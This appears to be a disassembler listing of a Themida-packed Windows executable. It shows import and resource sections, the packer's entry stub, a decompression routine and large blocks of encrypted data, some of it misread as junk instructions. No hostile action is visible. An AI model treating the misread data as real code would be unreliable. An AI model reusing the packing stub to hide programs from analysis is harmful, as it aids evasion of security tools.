; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000E1000 ( 921600.)
; Section size in file		: 000E1000 ( 921600.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 46D29C07h, 4074Fh, 54092h, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053E281 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005415EA SIZE 00000062 BYTES
; FUNCTION CHUNK AT 00541860 SIZE 00000047 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------

loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax

loc_4E0047:				; DATA XREF: ___:00437A34o
		and	eax, 0FFFFF000h
		xor	edi, edi

loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074

loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------

loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax

loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------

loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_53E281
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h

loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2

loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi

loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1

loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1

loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1

loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B

loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2

loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_53E281
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 1563364h, 2E36F2BEh,	30F0AF10h, 31702D34h, 21E47D85h
		dd 0E4FF235Ch, 0DD215C98h, 655203DEh, 72617473h, 0C5704199h
		dd 0F378E92Eh, 38BB7E84h, 0B8FA4301h, 0EB1BE101h, 0E11E33E2h
		dd 35BCAB0Ah, 0BC7B848Bh, 1FE18E22h, 989FD3h, 6D656854h
		dd 0A5616469h, 249BD5D0h, 0F23B8403h, 0F6489501h, 5CF7018Dh
		dd 0D7850170h, 7071115Fh, 0C643F78Dh, 0FE2E8403h, 42B81188h
		dd 848B92BCh, 8BBCAF2Eh, 0D41CC572h, 22E860h, 73ED815Dh
		dd 8905E733h, 3F19518h,	4445B50Dh, 65208522h, 0BD83082Ch
		dd 7381B39h, 0E88B0C74h, 0D6B8E222h, 0F1C29EB9h, 0C7244470h
		dd 2113E10h, 0E8456A06h, 680729A3h, 783749Ah, 0A01DFA5h
		dd 0A894B25h, 0E910D5E9h, 0ECA50214h
		db 7Dh,	0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		lodsb
		out	dx, al
		add	al, 5Ah
		sub	edx, 8B003461h
		fcmovb	st, st(7)

loc_4E0354:				; CODE XREF: Themida_:004E0371j
		inc	ebp
		fcom	dword ptr [ecx+400EB108h]
		mov	[edi-33827EF8h], ecx
		sbb	byte ptr ds:200F6774h, 8
		repne or ebx, 49h
		adc	bh, bh
		xchg	dl, [edx]
		inc	ebx
		jmp	short loc_4E0354
; ---------------------------------------------------------------------------
		db 36h
dword_4E0374	dd 2661DC37h, 4C2C941h,	0C4814640h, 2FF687Ch, 40AAE449h
		dd 8B80458Dh, 0C708145Dh, 50441985h, 0D10AA08Dh, 18880AC3h
		dd 8A0B8941h, 2006BD81h, 0E375295Dh, 0BA8D4227h, 75C0648Eh
		dd 0BB0E8A80h, 5BF449h,	5437ABB8h, 0FCD0D378h, 4B08C30Fh
		dd 0AFB0F775h, 465247C3h, 2A46464Ah, 0D12B42F9h, 0D0A08A61h
		dd 8AFDF075h, 4DFC45EEh, 0AD04EB0Ah, 80468C3Ch,	53F7403Eh
		dd 346E84BAh, 0EB0C7D61h, 0F83E907Fh, 0F0126DCCh, 0F40ECA84h
		dd 0C14A8110h, 4004F065h, 0E0D1F8D6h, 60C20339h, 8ADB3328h
		dd 80301C1Ch, 0A72CCFBh, 773D390Ah, 0F2EB3E05h,	61142267h
		dd 7F0A0DF6h, 1E086F66h, 0AC34E5Fh, 411A10ACh, 0A0B7230h
		dd 0DE067746h, 118A224h, 0F4ECF05Dh, 1B7D7383h,	0CB07202h
		dd 0A576C037h, 4126AA66h, 8D07CEF8h, 3B00A86Ah,	820FFC55h
		dd 0B0BDA978h, 38BEAAC1h, 0E008BA50h, 0A870E0B9h, 40F0BDFCh
		dd 0F01FE35h, 0FA754947h, 6AC522B9h, 0E301BBDCh, 6F82F1F4h
		dd 831D0CEBh, 37E8868Eh, 65510690h, 1DDF36E0h, 268A94FBh
		dd 5E92807h, 0BC6B593Fh, 1304B058h, 0E4C46021h,	257D068Ah
		dd 8458205h, 48211660h,	0C5AC458h, 88E1044h, 0BC3D5117h
		dd 27CE8024h, 0EAF4815Ch, 369E682h, 2C2B6F4Ah, 8230FAC3h
		dd 0BC67E4F1h, 8C2E0C6Ah, 821034CBh, 5B4E3900h,	0B8100F76h
		dd 43D1F51h, 983B1DD1h,	9756646h, 11602E75h, 65E4EC8Bh
		dd 68065090h, 5C50584h,	48FB968Eh, 4F05385h, 8C29A8C2h
		dd 0E7F2CD71h, 30A8BB0Eh, 77812BFFh, 1D22C004h,	0F984C134h
		dd 20753319h, 77073FBCh, 30EF660Ah, 41380273h, 7F8C99ECh
		dd 40F9FFCCh, 0E9FE450Ch, 620060A5h, 4D8C52C4h,	82110825h
		dd 0AB4CB1AAh, 1384D05Ah, 60EB568Ah, 6EE825Eh, 42813851h
		dd 8A27C40Ch, 1310B9D5h, 43972923h, 56110D4Ah, 22C45E87h
		dd 11C6D8Ah, 0F1C45646h, 4010E995h, 0A0518D26h,	0E44BF800h
		dd 98564DCDh, 79E33928h, 2714EA1Ah, 3F40B960h, 0FE3A1800h
		dd 620E6324h, 8120001Bh, 809E947Bh, 10285C37h, 67762D8Dh
		dd 42EADA24h, 172CDD40h, 34FA006Ch, 5E28161h, 0D688C10h
		dd 58811521h, 728B5D76h, 0D0BFBD4h, 458610CAh, 54F8911Fh
		dd 22C45C87h, 1D315D8Ah, 0C4544410h, 3E8DBC01h,	864C6F2Eh
		dd 0E8C8B4CCh, 0BC0850F2h, 102DC302h, 0D050387h, 17EA0FB4h
		dd 918A0D0Fh, 0DFC02976h, 240D2120h, 269B3E7Fh,	0AE231A0Dh
		dd 55A1252h, 224D8AD0h,	42201B57h, 4EC452h, 48AC3E2Bh
		dd 0EEBCCB8Bh, 43887418h, 822EC65Ah, 0E233E318h, 2AD5A400h
		dd 0F309A687h, 4DBE69Eh, 0E9763837h, 8D7C400Fh,	72B477Eh
		dd 4F024DF9h, 0E37FF12Ch, 0BAB86Ah, 0C98C5B5Fh,	0EFA6C382h
		dd 0DF0136BBh, 37C216C6h, 6C548FBCh, 0ECEC6E12h, 1EB20C20h
		dd 80038CFAh, 0AEDD07C1h, 0EA305365h, 2B4D7911h, 9BD00A7h
		dd 5B205564h, 57030285h, 80279ED9h, 923A0E60h, 614EEB1Bh
		dd 0D28C6722h, 6278FBC0h, 7F6DC007h, 8263552Eh,	0C7A588E9h
		dd 38A0C1Ah, 8B6715EAh,	980095EEh, 4BC2374Dh, 1F2C3A0Eh
		dd 191D489Eh, 0D477A0DAh, 529EB84h, 0DB009FEAh,	6DB5FE51h
		dd 883A0032h, 0AA2A0282h, 906A9A93h, 86620FE8h,	4083CA89h
		dd 33BCF82h, 529B36ACh,	8003998h, 0A5EE66AFh, 7B53AA5Eh
		dd 185061F7h, 9FA2BABEh, 0D64E2F20h, 0A71898B0h, 0B2E830h
		dd 682CB4B8h, 0B3903596h, 18190F28h, 0D3C42909h, 684903E1h
		dd 2B690F30h, 5783A627h, 287C5B84h, 2D880800h, 67EDF868h
		dd 38EE0612h, 587760B5h, 0BCD2AA19h, 0F79879h, 0D7926F49h
		dd 0D168BDC1h, 0D0EE953Bh, 0B544DB54h, 90C41BB8h, 669B4884h
		dd 577F711Fh, 149D2940h, 0BA38C2h, 3EFDC050h, 5BB913C1h
		dd 0BB35B700h, 0BF542355h, 33C78DBh, 95B539CAh,	61D63B48h
		dd 41B04A12h, 0C033750Fh, 540B0976h, 0FEDCF1AEh, 53F31555h
		dd 241094BFh, 0F261F72h, 5782574Eh, 1A21640h, 61FC90h
		dd 232695E0h, 6583880Ah, 3196B1C7h, 6AAA98F0h, 0BD051FDAh
		dd 1A6B80CCh, 0ABA23F11h, 0F1894000h, 24910AADh, 18D31556h
		dd 863A88A6h, 0B671F9h,	4A94F560h, 3CE4D94Eh, 929187F7h
		dd 58263F27h, 44DB0C71h, 32F0C665h, 0D776DF00h,	0BB3F50B8h
		dd 4EA10016h, 0B2B3703Bh, 0C8A84297h, 5D00C5BAh, 268C77A7h
		dd 554827h, 0AECC0324h,	71A34FDBh, 0A99ED300h, 8DEE6809h
		dd 2507159Ch, 31068438h, 60D60B58h, 0BBBE920Ch,	0CFBC1A5h
		dd 1B3F10B2h, 0B3489B11h, 8A981010h, 0B8AA9701h, 815F54E4h
		dd 9027C2D1h, 7AD4381Ch, 98D018ACh, 0BB97A93Bh,	41682800h
		dd 75117D13h, 10FE91h, 0AB6E61B3h, 0D3C69F25h, 7B905302h
		dd 80A6AD34h, 0C758BC84h, 0B2A0C0C1h, 0B391213Ah, 223F5C0Ch
		dd 3161995Eh, 3E693632h, 2058451Dh, 0D6CDB04h, 1850C263h
		dd 4D2100AAh, 0B723C06Eh, 0E01D8546h, 96402060h, 285AA764h
		dd 6D0F1429h, 98189461h, 19CA613Dh, 807D053Dh, 0D3F5409h
		dd 0A9E2EE3h, 3461488Ah, 4D381C44h, 0F3B8BDBBh,	0B80C0FDDh
		dd 10D243A4h, 39610A50h, 1B1E6037h, 0A34B58A2h,	115D6278h
		dd 8048B63Bh, 0A33EDE62h, 0EBAA8387h, 4098B2h, 6EF57641h
		dd 6339B3E8h, 83EAD51Fh, 0ECA9FE80h, 303F34A5h,	0B8515529h
		dd 0FD020A3Ah, 18E4D8E2h, 46E4805Dh, 3EF15B2h, 0BD3ABE0Dh
		dd 183E80C0h, 166A00FCh, 912D6E76h, 1D0F1428h, 38099056h
		dd 6C2014C5h, 4380EF9Ch, 595C18C0h, 0D1BC4B28h,	0A80060F0h
		dd 0BE7DDE89h, 964C9E50h, 80FB244Ch, 3C90108h, 0D1EB3058h
		dd 5AB33804h, 9488263Fh, 0C56C1083h, 0A48D039Eh, 125D1D07h
		dd 20BDAE70h, 0AD0F1E50h, 0AF186860h, 1219ABA4h, 20B753F4h
		dd 964DF10h, 2E48D960h,	495CA882h, 0C607BC33h, 0D33A3126h
		dd 50035994h, 3424121Fh, 7C40C7D5h, 36F84F2h, 0E4F10DEh
		dd 6400965Bh, 3A9B6463h, 12CF01h, 84480AE3h, 0DC68BA70h
		dd 71029974h, 6C95B808h, 74B7E03Dh, 0D010C3C5h,	1CE0FF93h
		dd 8300F945h, 1B252099h, 0E31ACFh, 84C7EB02h, 81496E27h
		dd 135DBB05h, 96C74070h, 22D68A40h, 0F93F0024h,	9A3475D5h
		dd 554974D7h, 49F3C60h,	948EAF51h, 0C0F9ACC1h, 5728B800h
		dd 0DDB4E050h, 19F53431h, 30F8F18Fh, 3B190122h,	0DF58B90Ah
		dd 80C850DAh, 0D724CD10h, 0F8190A4h, 0B21B2839h, 3C5D2085h
		dd 90D04EE5h, 561CD782h, 7808340Ah, 0C459145Fh,	854CDB81h
		dd 0C1C502CEh, 0CC14BD24h, 0C3009194h, 56B92B57h, 0C9FAE87h
		dd 3F98FF01h, 0C8F82321h, 6A592E12h, 0ED824801h, 5F7031DFh
		dd 0BDBF1911h, 328471ACh, 3895021Ch, 40B6E9A0h,	0EC611978h
		dd 513E8B0h, 0DCAA3290h, 364408BAh, 0F9A43180h,	0D2BA614h
		dd 0ADA53455h, 3B32DCB8h, 0E05C13E9h, 3974CC35h, 0FB2C90DDh
		dd 0E6BE8348h, 0C4980A5Dh, 1049C891h, 8FD30938h, 0C80EF2h
		dd 0A1647BF3h, 24A0A9A2h, 304B9020h, 63B95784h,	2800438Fh
		dd 252C45EBh, 0A05378E7h, 32295BB0h, 703A1BCEh,	139910E8h
		dd 85FC10C4h, 8C226B06h, 33883F55h, 894F07D0h, 0EE30CBA9h
		dd 11DA3Ah, 3104B741h, 0E3C98B7Fh, 0E6C4EF00h, 1E3F8022h
		dd 4A39CFD5h, 0D4AA051Ch, 8138D429h, 51734008h,	1307B138h
		dd 4B4DA9CCh, 0C20B0A6h, 1BA960C8h, 4730BF79h, 0FA52851h
		dd 385E4095h, 7E5CE510h, 0D0161E0Bh, 5853B418h,	7978FF00h
		dd 65E8394Dh, 747605CEh
		dd 0CAB04EBFh, 0BDED0060h, 9C48DE45h, 0E8803AE3h, 6D52142h
		dd 7128CD38h, 0A1F0DFE8h, 0BC706092h, 0C9A6540h, 6CCD3933h
		dd 0D7136111h, 385437A8h, 0CA9B10ACh, 31597Dh, 13E12784h
		dd 54BDA802h, 5A5D0064h, 0AE6018AFh, 458B8991h,	242A009Fh
		dd 0A9A48246h, 0B50335F1h, 0BF20EBD0h, 1C3E8008h, 0CCC4AA70h
		dd 0AD183068h, 3E926649h, 554D58h, 757CE1EBh, 7D1B44D5h
		dd 1E0200A2h, 0CFB907ACh, 3E619876h, 0A815C4A9h, 0E1E0170h
		dd 75400159h, 0DF198000h, 0EB2464DBh, 270F2BDAh, 6F953F25h
		dd 0E02079D4h, 7280D79h, 0C186E42h, 0E1D31C0h, 0F8018Ah
		dd 20BDA844h, 0B08B2D87h, 313A22E4h, 0A9229F80h, 0EFC48E06h
		dd 4485AA4h, 93303972h,	5358D4DBh, 5FDF0644h, 3C2219BBh
		dd 95B851F6h, 440A4034h, 0BB7C0FB0h, 18C0FF78h,	0A6251D0Ch
		dd 6107C8Bh, 456C7B74h,	303B41C6h, 773B4077h, 0ED388067h
		dd 0E85E5031h, 642078CDh, 4D5B401Ch, 19A45404h,	0FB005216h
		dd 283F8DDDh, 3484F4B9h, 9000CA15h, 0C4B114CDh,	4076EC31h
		dd 0A4C4CCA0h, 0C03B7B25h, 0A55A57B1h, 23012ED2h, 0A3B566F1h
		dd 0F4DC5FE2h, 3D0009Dh, 0F6DF0F8h, 0EE775990h,	0B8E62F1Eh
		dd 0B3D60540h, 2E2591ABh, 4034991Eh, 59A22C4Dh,	0B0354112h
		dd 589C7804h, 401A6E05h, 2D87014h, 17FE322Dh, 0A371E500h
		dd 0AA904823h, 0E4870009h, 0FAADB35Ch, 1028EF24h, 0B906D43Bh
		dd 3DD7AB01h, 7517CC0h,	33311C96h, 540AD0BCh, 9D26FCC1h
		dd 5811240Fh, 944DD0Fh,	798C74h, 76113692h, 3F8A5D97h
		dd 0AE992017h, 403BF848h, 0CBC75060h, 1850D0A2h, 11FEB240h
		dd 0B93AFBh, 4DB4C7E9h,	6CF1F2h, 5A3F7C87h, 5DB10E14h
		dd 71F1A06h, 3888B3F9h,	3C24D724h, 9330BCE4h, 0D2AA8F68h
		dd 1551B360h, 0B3450E9h, 7F6CC539h, 182890ACh, 0B680A094h
		dd 99349C6h, 0FAB70033h, 0B53D4AB8h, 40828BB2h,	82372184h
		dd 83F09C82h, 34DF9000h, 244CBA43h, 611C2A3Eh, 3C9096Ch
		dd 3E69D618h, 9300FA03h, 0DD464956h, 2B0EA7A6h,	0E09F8A29h
		dd 84A03E42h, 932014B9h, 3A2594D4h, 905FA4A0h, 86006CC4h
		dd 277DDA1Bh, 1494B965h, 0A04BD976h, 0EE1F7BC0h, 0E4006F9Ah
		dd 909661DCh, 0BACCDFC6h, 0B1BE2A00h, 0FC2F00C8h, 99BB0AABh
		dd 0C53072D3h, 7CB018F6h, 302C094Eh, 0C41210EEh, 515B8860h
		dd 1B4DE400h, 8489CE2Ah, 0F1D25Fh, 0EE8BD50Ch, 73011ACDh
		dd 0E20AE764h, 0A8E330BAh, 16A5D1Bh, 8AA1D390h,	200CFA34h
		dd 0D83A3234h, 9D1400DEh, 155E241Ah, 736C0BB1h,	9880826Ah
		dd 859FBFA8h, 75DCBCA0h, 74D7CC80h, 32D0C2C4h, 24609E1Eh
		dd 7D80AE79h, 33613EE9h, 7EB9E9E0h, 742CADD3h, 50285840h
		dd 4EB96B61h, 29805C99h, 0A8020DD1h, 410020E2h,	0D3CD1425h
		dd 4A10E3Ah, 40CEBD64h,	1B848159h, 0A0081054h, 20260596h
		dd 90091911h, 37E12188h, 0DF9A1F03h, 0A0154205h, 0A7F0E798h
		dd 93AA0804h, 0EAC09h, 648EF657h, 35E30168h, 0D752E83Eh
		dd 0E7198708h, 0ECC65321h, 5FCE1F40h, 0E071C0FCh, 0AEB37756h
		dd 12FBEF00h, 0FEA704BBh, 0DE22384Ch, 61CFF90h,	5B256898h
		dd 0C483F858h, 3532068h, 0E4F40E95h, 0C748D100h, 0E4001189h
		dd 8B0B6450h, 0D7D644h,	0E32E85F1h, 5FC7D4C9h, 80181A37h
		dd 600A41CEh, 10801017h, 0A8F0D34Ah, 6E009A61h,	0D233E56Ch
		dd 18392526h, 2913600Dh, 9250C3E7h, 733E9080h, 8FA881EDh
		dd 99DF4B0Bh, 6B2880EAh, 0C0AC3A53h, 0B94F0D78h, 0E65098DEh
		dd 13F0BE84h, 0A662B8C7h, 448A08CAh, 6586B4A0h,	0F041399Bh
		dd 0CF682A16h, 3F9270C0h, 84D4B061h, 6014188Ah,	7EE4791Bh
		dd 0B069D50Ch, 18DF213Dh, 59F46049h, 152A7FA5h,	0AA151838h
		dd 0DD814B6h, 71DA6E6Ah, 8FF722E6h, 673A0044h, 620803F1h
		dd 0A7943325h, 0B4FA880h, 78EAFCE5h, 840350E6h,	92538823h
		dd 38086A30h, 1ABF98h, 745AC24Dh, 244134D2h, 0C5022DF0h
		dd 0E664DEF0h, 52F09096h, 0EB4CA0E7h, 0A0B754CBh, 386B3068h
		dd 439DC7D1h, 9E0B340Eh, 0ECFF805Bh, 1651382h, 0DE1015E7h
		dd 82959A29h, 225D92C1h, 0A688054h, 1E212711h, 73661682h
		dd 1015D261h, 80D368h, 22A141A9h, 546A48E1h, 2B35A44Bh
		dd 4428959Fh, 0D1949208h, 4418289Ch, 6058F327h,	246A88E8h
		dd 0E31D4E00h, 0E2ECD822h, 0E00F2A2Eh, 176502C0h, 165D4215h
		dd 1A0640B4h, 0E1142EB1h, 3DCE0039h, 51DE0DC7h,	9E189157h
		dd 0C891D1ADh, 324C9223h, 0ED31EBDBh, 95BF3CB5h, 9A4FC73h
		dd 1331D50Bh, 6454F93Ch, 903497D2h, 66BCE8h, 0C43CEE0Dh
		dd 0C84F8BA4h, 4BD180E7h, 0AD7D12Ch, 0AA260AE1h, 1548346Bh
		dd 0CBB2BCF2h, 6151FE36h, 0E7566176h, 2EC216Fh,	0A8A730F8h
		dd 49398C1Ch, 611F6D31h, 0A9906533h, 0E8509FCFh, 70EF1401h
		dd 80EA112Dh, 0D1B46A71h, 39FA61FEh, 2FDCA80Bh,	0EF926B0Dh
		dd 31704791h, 0EDF7B124h, 8325E516h, 0ED835281h, 6201E19Dh
		dd 0A4DD2048h, 774414BCh, 3C24A0DCh, 5A6B8E9Ch,	91541380h
		dd 0BA3AE78Bh, 30C84008h, 8E38E484h, 90038052h,	0BB7461E1h
		dd 2E40C03Dh, 57050099h, 49CBED01h, 8000B84Eh, 0EEFED4A2h
		dd 31E381h, 0FDD2BB1Eh,	0D6ED7EE7h, 83A02328h, 7A0072E8h
		dd 4663AFA6h, 3E904F4h,	6883882Bh, 45C84D1Fh, 1E1B2E56h
		dd 1ED4B9h, 0A323B040h,	725A4257h, 1A21000h, 0B287F2Bh
		dd 744E0946h, 2D80A347h, 30E4423Fh, 0D4C0640Fh,	800F58h
		dd 569660B2h, 845A283Ch, 8D789AE0h, 0F8CA5704h,	5DD7E980h
		dd 9045AC90h, 6F7D00D8h, 0F07F330Bh, 480012C3h,	21B13A73h
		dd 3B13F3F7h, 94005F56h, 323503D2h, 40C0D6E2h, 37893DA2h
		dd 0BCE10010h, 0B1D762Ah, 0A51C4684h, 3E80683Bh, 58C62691h
		dd 38B80023h, 0E1803108h, 8E105FD6h, 7A3C3AB9h,	5C59B780h
		dd 72820AF4h, 0A336A700h, 13E84028h, 52240092h,	0F25338C4h
		dd 0A400E130h, 48AD8E97h, 1D7C4289h, 665A03A0h,	2EF11238h
		dd 9300BA94h, 9F9A5EB2h, 7948233Bh, 2AA50054h, 4B0AEF5Ch
		dd 7E47EE7Fh, 0FCF70073h, 53578F81h, 3F712DBBh,	0D6973900h
		dd 0F6BC9B66h, 2E44004Dh, 7F610BA6h, 40E26E2Bh,	0A080A400h
		dd 0F9C627Dh, 0C1FFCEAh, 353B2D8Ah, 6022D840h, 2E3E0098h
		dd 5E2AB4A3h, 4900C42Bh, 9C3DA94Bh, 0EAFCFB6Fh,	23330356h
		dd 3F043C8Ah, 61AA5599h, 58F7F0ECh, 0A81F4001h,	315E24B4h
		dd 0A0AE8C66h, 7E90553h, 0A39A23E1h, 7E0B4048h,	331DB975h
		dd 57DE3102h, 0DF006BD0h, 0E40AFA4Ah, 0F5002B65h, 804404D2h
		dd 0F62E192h, 4643F99Bh, 0A9711520h, 173C422Bh,	733080CCh
		dd 0FF6E6539h, 943800E7h, 0D2DC8A61h, 2F002853h, 0A35DDA55h
		dd 2539BEh, 3E16A3Bh, 0AF0014Dh, 0A20F77FEh, 206E9630h
		dd 329281F9h, 0D0BA001Fh, 5544E908h, 90006C11h,	374EF6A7h
		dd 1C2A212h, 9F15C62h, 60A12F77h, 0FD883AACh, 87210A59h
		dd 48883D2Dh, 80FDDF04h, 445EA301h, 5C00AB27h, 82D7256Bh
